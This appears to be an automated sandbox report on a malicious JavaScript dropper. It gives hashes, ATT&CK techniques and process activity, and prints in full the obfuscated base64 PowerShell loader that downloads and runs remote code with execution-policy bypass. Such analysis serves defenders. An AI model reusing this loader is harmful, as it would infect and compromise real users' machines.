3db8a8d5ad0acf1257d2e011fdf78b700c9cfb7bb12a2168f146471396d0cf8d

Analysis

max time kernel
298s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/08/2026, 01:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
A0021120001100521101.js
Size 42KB
Sample260821-bz6kfstycv
SHA256 3db8a8d5ad0acf1257d2e011fdf78b700c9cfb7bb12a2168f146471396d0cf8d
MD5 ec936dc0128d6ea6dfac65187b5b96fb
SHA1 3aa22cfd33452dec0d4b39d83e8a61605462650f
SHA512 c6c0bc2a5ea2a352ac8c4b40adc598967ce3c8a20f6fea67daa3672da88eaa2d8a87b9e6482b032a6fa81ad22345e24f1a86472c7c902761f7941e07362a728b
SSDEEP 384:O4evMIiiDjIi3Wo9Xg1kY0/+RU33M1fXAyDW08bb1rPxbfk9ozsDlG7SA0t+nPj7:O4WMLiGo9IkC23CftW0p8
TLSH
T176137A153A4FCA4871A246CA5AAF03390B5FB96F1FBE41C5048DEECD4BD381298577B2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 23 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2116	powershell.exe
8	5008	powershell.exe
9	5008	powershell.exe
10	5008	powershell.exe
11	5008	powershell.exe
12	5008	powershell.exe
12	5008	powershell.exe
14	5008	powershell.exe
15	5008	powershell.exe
16	5008	powershell.exe
17	5008	powershell.exe
18	5008	powershell.exe
19	5008	powershell.exe
20	5008	powershell.exe
21	5008	powershell.exe
22	5008	powershell.exe
22	5008	powershell.exe
23	5008	powershell.exe
24	5008	powershell.exe
25	5008	powershell.exe
26	5008	powershell.exe
27	5008	powershell.exe
28	5008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe
5008	powershell.exe
4372	powershell.exe
2996	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5008	powershell.exe
5008	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 34 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2340	cmd.exe
2404	cmd.exe
6028	cmd.exe
2532	cmd.exe
5484	cmd.exe
4800	cmd.exe
1608	cmd.exe
2720	cmd.exe
4556	cmd.exe
5612	cmd.exe
3100	cmd.exe
1772	cmd.exe
4888	cmd.exe
844	cmd.exe
1636	cmd.exe
3240	cmd.exe
2444	cmd.exe
1212	cmd.exe
5652	cmd.exe
5648	cmd.exe
4696	cmd.exe
3340	cmd.exe
2288	cmd.exe
4168	cmd.exe
5304	cmd.exe
4700	cmd.exe
716	cmd.exe
2376	cmd.exe
2568	cmd.exe
3264	cmd.exe
4996	cmd.exe
1624	cmd.exe
4920	cmd.exe
5380	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5780	PING.EXE
2256	PING.EXE
5156	PING.EXE
3100	cmd.exe
5304	cmd.exe
6072	PING.EXE
4252	PING.EXE
2568	cmd.exe
3392	PING.EXE
5612	cmd.exe
5960	PING.EXE
2288	cmd.exe
716	cmd.exe
2556	PING.EXE
4664	PING.EXE
4448	PING.EXE
2516	PING.EXE
680	PING.EXE
5280	PING.EXE
2444	cmd.exe
844	cmd.exe
5764	PING.EXE
236	PING.EXE
4984	PING.EXE
3468	PING.EXE
1448	PING.EXE
2388	PING.EXE
4940	PING.EXE
1272	PING.EXE
4168	cmd.exe
4320	PING.EXE
6028	cmd.exe
4700	cmd.exe
5380	cmd.exe
632	PING.EXE
5484	cmd.exe
1772	cmd.exe
4696	cmd.exe
4800	cmd.exe
1608	cmd.exe
2612	PING.EXE
1936	PING.EXE
4996	cmd.exe
2720	cmd.exe
4556	cmd.exe
1112	PING.EXE
1212	cmd.exe
4996	PING.EXE
6116	PING.EXE
1624	cmd.exe
564	PING.EXE
2604	PING.EXE
2376	cmd.exe
3264	cmd.exe
1636	cmd.exe
5652	cmd.exe
2340	cmd.exe
3340	cmd.exe
5560	PING.EXE
4888	cmd.exe
4920	cmd.exe
1780	PING.EXE
2532	cmd.exe
5648	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4336	ipconfig.exe
2320	ipconfig.exe

Runs ping.exe 1 TTPs 34 IoCs

Remote System Discovery

T1018

pid	Process
4984	PING.EXE
4252	PING.EXE
2248	PING.EXE
3468	PING.EXE
4940	PING.EXE
1272	PING.EXE
680	PING.EXE
2388	PING.EXE
2556	PING.EXE
2516	PING.EXE
2612	PING.EXE
1448	PING.EXE
5560	PING.EXE
6116	PING.EXE
1112	PING.EXE
2604	PING.EXE
5128	PING.EXE
5280	PING.EXE
5764	PING.EXE
4320	PING.EXE
1936	PING.EXE
1780	PING.EXE
632	PING.EXE
4996	PING.EXE
2256	PING.EXE
4664	PING.EXE
5156	PING.EXE
3392	PING.EXE
564	PING.EXE
4448	PING.EXE
5780	PING.EXE
6072	PING.EXE
236	PING.EXE
5960	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2996	powershell.exe
2996	powershell.exe
2116	powershell.exe
2116	powershell.exe
5008	powershell.exe
5008	powershell.exe
5008	powershell.exe
4372	powershell.exe
4372	powershell.exe
4372	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeIncreaseQuotaPrivilege	4372	powershell.exe
Token: SeSecurityPrivilege	4372	powershell.exe
Token: SeTakeOwnershipPrivilege	4372	powershell.exe
Token: SeLoadDriverPrivilege	4372	powershell.exe
Token: SeSystemProfilePrivilege	4372	powershell.exe
Token: SeSystemtimePrivilege	4372	powershell.exe
Token: SeProfSingleProcessPrivilege	4372	powershell.exe
Token: SeIncBasePriorityPrivilege	4372	powershell.exe
Token: SeCreatePagefilePrivilege	4372	powershell.exe
Token: SeBackupPrivilege	4372	powershell.exe
Token: SeRestorePrivilege	4372	powershell.exe
Token: SeShutdownPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeSystemEnvironmentPrivilege	4372	powershell.exe
Token: SeRemoteShutdownPrivilege	4372	powershell.exe
Token: SeUndockPrivilege	4372	powershell.exe
Token: SeManageVolumePrivilege	4372	powershell.exe
Token: 33	4372	powershell.exe
Token: 34	4372	powershell.exe
Token: 35	4372	powershell.exe
Token: 36	4372	powershell.exe
Token: SeIncreaseQuotaPrivilege	4372	powershell.exe
Token: SeSecurityPrivilege	4372	powershell.exe
Token: SeTakeOwnershipPrivilege	4372	powershell.exe
Token: SeLoadDriverPrivilege	4372	powershell.exe
Token: SeSystemProfilePrivilege	4372	powershell.exe
Token: SeSystemtimePrivilege	4372	powershell.exe
Token: SeProfSingleProcessPrivilege	4372	powershell.exe
Token: SeIncBasePriorityPrivilege	4372	powershell.exe
Token: SeCreatePagefilePrivilege	4372	powershell.exe
Token: SeBackupPrivilege	4372	powershell.exe
Token: SeRestorePrivilege	4372	powershell.exe
Token: SeShutdownPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeSystemEnvironmentPrivilege	4372	powershell.exe
Token: SeRemoteShutdownPrivilege	4372	powershell.exe
Token: SeUndockPrivilege	4372	powershell.exe
Token: SeManageVolumePrivilege	4372	powershell.exe
Token: 33	4372	powershell.exe
Token: 34	4372	powershell.exe
Token: 35	4372	powershell.exe
Token: 36	4372	powershell.exe
Token: SeIncreaseQuotaPrivilege	4372	powershell.exe
Token: SeSecurityPrivilege	4372	powershell.exe
Token: SeTakeOwnershipPrivilege	4372	powershell.exe
Token: SeLoadDriverPrivilege	4372	powershell.exe
Token: SeSystemProfilePrivilege	4372	powershell.exe
Token: SeSystemtimePrivilege	4372	powershell.exe
Token: SeProfSingleProcessPrivilege	4372	powershell.exe
Token: SeIncBasePriorityPrivilege	4372	powershell.exe
Token: SeCreatePagefilePrivilege	4372	powershell.exe
Token: SeBackupPrivilege	4372	powershell.exe
Token: SeRestorePrivilege	4372	powershell.exe
Token: SeShutdownPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeSystemEnvironmentPrivilege	4372	powershell.exe
Token: SeRemoteShutdownPrivilege	4372	powershell.exe
Token: SeUndockPrivilege	4372	powershell.exe
Token: SeManageVolumePrivilege	4372	powershell.exe
Token: 33	4372	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 720	1452	wscript.exe	89
PID 720 wrote to memory of 2996	720	wscript.exe	90
PID 2996 wrote to memory of 2116	2996	powershell.exe	92
PID 2116 wrote to memory of 4336	2116	powershell.exe	93
PID 2116 wrote to memory of 2320	2116	powershell.exe	94
PID 2116 wrote to memory of 4592	2116	powershell.exe	95
PID 2116 wrote to memory of 3020	2116	powershell.exe	96
PID 2116 wrote to memory of 5008	2116	powershell.exe	97
PID 5008 wrote to memory of 5304	5008	powershell.exe	99
PID 5304 wrote to memory of 632	5304	cmd.exe	100
PID 5008 wrote to memory of 2532	5008	powershell.exe	101
PID 5008 wrote to memory of 5484	5008	powershell.exe	102
PID 5008 wrote to memory of 5648	5008	powershell.exe	103
PID 5008 wrote to memory of 1772	5008	powershell.exe	104
PID 5008 wrote to memory of 4696	5008	powershell.exe	105
PID 5008 wrote to memory of 3340	5008	powershell.exe	106
PID 5648 wrote to memory of 6072	5648	cmd.exe	107
PID 2532 wrote to memory of 2604	2532	cmd.exe	108
PID 1772 wrote to memory of 2388	1772	cmd.exe	109
PID 4696 wrote to memory of 5780	4696	cmd.exe	110
PID 3340 wrote to memory of 4984	3340	cmd.exe	111
PID 5484 wrote to memory of 4996	5484	cmd.exe	112
PID 5008 wrote to memory of 4700	5008	powershell.exe	113
PID 5008 wrote to memory of 716	5008	powershell.exe	114
PID 5008 wrote to memory of 2376	5008	powershell.exe	115
PID 5008 wrote to memory of 4800	5008	powershell.exe	116
PID 5008 wrote to memory of 1608	5008	powershell.exe	117
PID 4700 wrote to memory of 2256	4700	cmd.exe	118
PID 2376 wrote to memory of 2516	2376	cmd.exe	119
PID 716 wrote to memory of 4252	716	cmd.exe	120
PID 4800 wrote to memory of 2556	4800	cmd.exe	121
PID 1608 wrote to memory of 680	1608	cmd.exe	122
PID 5008 wrote to memory of 4372	5008	powershell.exe	123
PID 5008 wrote to memory of 3240	5008	powershell.exe	125
PID 5008 wrote to memory of 2720	5008	powershell.exe	126
PID 3240 wrote to memory of 5560	3240	cmd.exe	128
PID 2720 wrote to memory of 5128	2720	cmd.exe	127
PID 5008 wrote to memory of 4644	5008	powershell.exe	129
PID 5008 wrote to memory of 4888	5008	powershell.exe	130
PID 5008 wrote to memory of 2444	5008	powershell.exe	131
PID 4888 wrote to memory of 5280	4888	cmd.exe	132
PID 2444 wrote to memory of 2248	2444	cmd.exe	133
PID 5008 wrote to memory of 1764	5008	powershell.exe	134
PID 5008 wrote to memory of 2568	5008	powershell.exe	135
PID 2568 wrote to memory of 5156	2568	cmd.exe	136
PID 5008 wrote to memory of 4556	5008	powershell.exe	137
PID 4556 wrote to memory of 3468	4556	cmd.exe	138
PID 5008 wrote to memory of 2820	5008	powershell.exe	139
PID 5008 wrote to memory of 844	5008	powershell.exe	140
PID 5008 wrote to memory of 3264	5008	powershell.exe	141
PID 844 wrote to memory of 6116	844	cmd.exe	142
PID 3264 wrote to memory of 3392	3264	cmd.exe	143
PID 5008 wrote to memory of 5236	5008	powershell.exe	144
PID 5008 wrote to memory of 4920	5008	powershell.exe	145
PID 5008 wrote to memory of 2404	5008	powershell.exe	146
PID 4920 wrote to memory of 1112	4920	cmd.exe	147
PID 2404 wrote to memory of 2612	2404	cmd.exe	148
PID 5008 wrote to memory of 4612	5008	powershell.exe	149
PID 5008 wrote to memory of 1212	5008	powershell.exe	150
PID 5008 wrote to memory of 1636	5008	powershell.exe	151
PID 1212 wrote to memory of 5764	1212	cmd.exe	152
PID 1636 wrote to memory of 1448	1636	cmd.exe	153
PID 5008 wrote to memory of 3204	5008	powershell.exe	154
PID 5008 wrote to memory of 2288	5008	powershell.exe	155

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\A0021120001100521101.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\zlnhf.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$vZZlh = $null ;;$LTLIP ;;$Ugkqg ;;$Ugkqg = 'DQp' + '0' + 'cnl7DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + 'A' + '4Mj' + 'A' + 'wNCk7DQokclVwVndPQTUgPS' + 'A' + 'xNTsNCiRYVjRSID' + '0' + 'gJzU5NTQ3YjNmNzE1NDU1NTU1ODUzM2Y3NjVjNTc3NjNmNWM2MzYwODc1ZDUzNTQzZjVjNj' + 'A' + '3YTVhNTg1MjUwNzY1ODU1ODM2MjczNjY' + '0' + 'NDNmNz' + 'A' + '2NjQwN2I1YjdhN2I4NDczNTY2NTg4NzE' + '0' + 'MjUxNjM2OTY3NTk' + '0' + 'MTcwNjY1ZDdiNzI4ODQ' + '0' + 'NWQ2ODY3NTk4OTcwNTY1NTgyNjc2MzdlNDU2NTQyNTk3ZjczNTY2NTU5NzE3ZDYwODk1Yzc4NzY3YTYzNTU3MzgyNj' + 'A' + '' + '0' + 'MTQzODI1ODUyNjE1OTczNTY4NzUxNjE2MjdhNGMnOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gTG' + ' + 9 + ' + 'hZEJ1ZmZlcjk2KCRoLC' + 'A' + 'kcykgezsNCi' + 'A' + 'gIC' + 'A' + 'kcXFzYmNQci' + 'A' + '' + ' + 9 + ' + 'ICcnOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGguTGVuZ3RoOy' + 'A' + 'kaS' + 'A' + 'rPS' + 'A' + 'yKSB7Ow' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gICBbdm' + ' + 9 + ' + 'pZF' + '0' + 'oJGkgLWJ4b3IgMzIpOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'kYi' + 'A' + '' + ' + 9 + ' + 'IFtDb252ZXJ' + '0' + 'XTo6VG' + ' + 9 + ' + 'JbnQzMigkaC5TdWJzdHJpbmcoJGksIDIpLC' + 'A' + 'xNik7DQogIC' + 'A' + 'gIC' + 'A' + 'gICRxcXNiY1ByICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGIgLS' + 'A' + 'kcy' + 'A' + 'rIDI1NikgJS' + 'A' + 'yNTYpOw' + '0' + 'KIC' + 'A' + 'gIH' + '0' + '7DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRxcXNiY1ByOw' + '0' + 'KfTsNCiRNTTB6ZkpzID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKExvYWRCdWZmZXI5Ni' + 'A' + 'kWFY' + '0' + 'Ui' + 'A' + 'kclVwVndPQTUpKSk7DQpJbnZva2UtQ2' + ' + 9 + ' + 'tbWFuZC' + 'A' + 'oW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCRNTTB6ZkpzKSk7DQp' + ' + 9 + ' + 'IGNhdGNoew' + '0' + 'KfQ' + '0' + 'KDQo7DQo7aXBjb25maWcgL3JlbGVhc2UgfCBPdXQtTnVsbDsNCjtpcGNvbmZpZy' + 'A' + 'vcmVuZXcgfCBPdXQtTnVsbDsNCjtuZXRzaCB3aW5zb2NrIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQo7bmV' + '0' + 'c2ggaW5' + '0' + 'IGlwIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDYgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCg' + '0' + 'KOyRzbXl4SzsNCjtGdW5jdGlvbiBkV3ZMT3s7DQo7W2J5dGVbXV' + '0' + 'kRFZLWV' + 'A' + 'gPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKC' + 'A' + 'kc215eEsgKTsNCjskZmpkTWYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyggJERWS1lQICk7DQo7cmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3BmZGN6LnR4dCcpIDskaFJsYWkgPS' + 'A' + 'nYUhSMGNITTZMeScgKy' + 'A' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + 'A' + 'kaFJsYWk7ICRoUmxhaS' + 'A' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'naGp2dGcudHh' + '0' + 'JykgOyRjbGRocC' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRjbGRocC5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRjbGRocC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRjbGRocC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRjbGRocC5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskY2xkaH' + 'A' + 'uUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kZFdXQ' + '0' + '4gKS' + 'A' + '7JFN6S3dWID' + '0' + 'gJGNsZGhwLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + 'A' + 'pIDskaGdybGsgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDskaGdybGsgPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkaGdybGssJ1wleCUrJykpWzFdKS5UcmltKCkgOyRoZ3JsayB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7OyR4a2ttZC' + 'A' + 'rPS' + 'A' + 'nJFJCQmZaID' + '0' + 'gKCcnaCB' + '0' + 'IHRwcy' + 'A' + '6IC8gLycnLlJlcGxhY2UoJycgJycsICcnJycpICsgJydhbmRy' + 'ZW' + 'ZlbGlw' + 'ZW' + 'RvbmFzY2ltZTE3ODM4Njk1OTQ5NzguMj' + 'A' + 'yMDMxMi5tZXVzaXRlaG' + ' + 9 + ' + 'zdGdhdG' + ' + 9 + ' + 'yLmNvbS5ici8nJy' + 'A' + 'rICcnZERZcFRfMTdfMDdfTWV1c1' + ' + 9 + ' + 'hcnF1aXZvc1' + ' + 9 + ' + 'EZV' + ' + 9 + ' + 'UZXh' + '0' + 'by8nJy' + 'A' + 'rICcnUGVObycnKS' + 'A' + '7Jy' + 'A' + '7JHhra21kICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + 'A' + 'nJyViYXNlNjQlZEhoMExtTXZlRzB1YjNKcGRHVnlkWFLnt5Jkbee3kjJMeTg2YzNCMGRHZz' + '0' + 'nJy' + 'A' + '7JHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gKCR6Z' + '0' + 'hvVy' + 'A' + 'tcmVwbGFjZS' + 'A' + 'nJ+e3kicnICwgJydsJycpIDs7JGNURnpOID' + '0' + 'gKC' + 'A' + 'nJ' + '0' + 'M6XFVzZXJzXFB1YicnICsgJydsaWNcJycgKy' + 'A' + 'nJ2hqdnRnLnR4dCcnKS' + 'A' + '7JHB2anpuID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHhra21kICs' + ' + 9 + ' + 'ICckcHZqem4gLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR4a2ttZC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kbXp3ZHQgPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyR4a2ttZC' + 'A' + 'rPS' + 'A' + 'nJG16d2R' + '0' + 'ID' + '0' + 'gKCRwdmp6bi' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskeGtrbWQgKz' + '0' + 'gJyR3bUh4Ry' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICR4VXRHQS' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJG16d2R' + '0' + 'ICk7Jy' + 'A' + '7JHhra21kICs' + ' + 9 + ' + 'ICckanRWbGIgPS' + 'A' + 'kd21IeEcuR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHhra21kICs' + ' + 9 + ' + 'ICckQ1NZdFUgPS' + 'A' + 'kanRWbGIuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJHNZS1VSICsgJyggJHN' + '0' + 'V2lsICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xleHBsb3JlcicnLC' + 'A' + 'nJyRmYWxzZScnLC' + 'A' + 'kUkJCZlogKS' + 'A' + 'pOycgOyR1am' + ' + 9 + ' + 'uWC' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2hucXF4Xz' + 'A' + 'xLnBzMScgKS' + 'A' + '7JHhra21kIHwgT3V' + '0' + 'LUZpbGUgLUZpbGVQYXRoICR1am' + ' + 9 + ' + 'uWC' + 'A' + 'tZm' + ' + 9 + ' + 'yY2UgO1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1zIDU7O3Bvd2Vyc2hlbGwgLUV4' + 'ZW' + 'N1dGlvblBvbGljeSBieXBhc3MgLUZpbGUgJHVqb25YIDs=' ;;$LTLIP ;;$WsBve = ($Ugkqg + $LTLIP) ;;$ncfvt = $WsBve ;$ncfvt = $ncfvt.replace('''',$vZZlh) ;$ncfvt = $ncfvt.replace('+ ',$vZZlh) ;$ncfvt = $ncfvt.replace(' ',$vZZlh) ;Function vNiye{;$UekUx = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $ncfvt ));return $UekUx;};$MKSck = vNiye; $MKSck = ($MKSck -replace '%vVlGz%','C:\Users\Public\zlnhf的这五js') ;$MVEsl = 'C:\Users\Public\hwnxs.p' + 's1' ; $MKSck | Out-File -FilePath $MVEsl -force ; powershell -ExecutionPolicy Bypass -file $MVEsl ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\hwnxs.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
